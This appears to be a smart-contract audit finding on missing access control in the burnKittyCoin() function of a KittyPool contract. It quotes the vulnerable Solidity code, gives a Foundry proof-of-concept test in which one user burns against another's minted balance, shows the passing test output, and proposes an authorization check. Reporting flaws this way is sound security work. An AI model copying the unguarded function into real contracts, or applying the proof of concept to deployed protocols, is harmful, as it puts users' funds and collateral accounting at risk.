Summary
The burnKittyCoin() function in the KittyPool contract lacks proper access control and allows anyone to burn KittyCoin on behalf of any user. This can result in inaccurate collateral management issues, which can cause disruptions to the protocol's operations.
Vulnerability Details
The function allows User A to burn the tokens of User B without authorization.
function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
kittyCoinMeownted[_onBehalfOf] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}
Impact
In this PoC, we can use doggo to burn the tokens of catto without it's authorization.
function test_AnyoneCanBurnKittyCoin() public {
address doggo = address(888);
address catto = address(777);
uint256 toDeposit = 5 ether;
deal(weth, catto, 10 ether);
deal(weth, doggo, 10 ether);
vm.startPrank(catto);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
kittyPool.meowintKittyCoin(20e18);
vm.stopPrank();
vm.startPrank(doggo);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
kittyPool.meowintKittyCoin(20e18);
vm.stopPrank();
console.log("before tokens: ",kittyPool.getKittyCoinMeownted(address(catto)));
vm.prank(doggo);
kittyPool.burnKittyCoin(catto, 20e18);
console.log("after tokens: ",kittyPool.getKittyCoinMeownted(address(catto)));
}
Result
Ran 1 test for test/KittyFiTest.t.sol:KittyFiTest
[PASS] test_AnyoneCanBurnKittyCoin() (gas: 682149)
Logs:
before tokens: 20000000000000000000
after tokens: 0
Tools Used
Recommendations
-
Implement Approval from ERC20 to authorize another user to burn.
-
Add a logic to check if the msg.sender is the user or the maintainer of the protocol.
function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
+ require(msg.sender == _onBehalfOf || msg.sender == meowntainer, "Not authorized to burn tokens");
kittyCoinMeownted[_onBehalfOf] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}
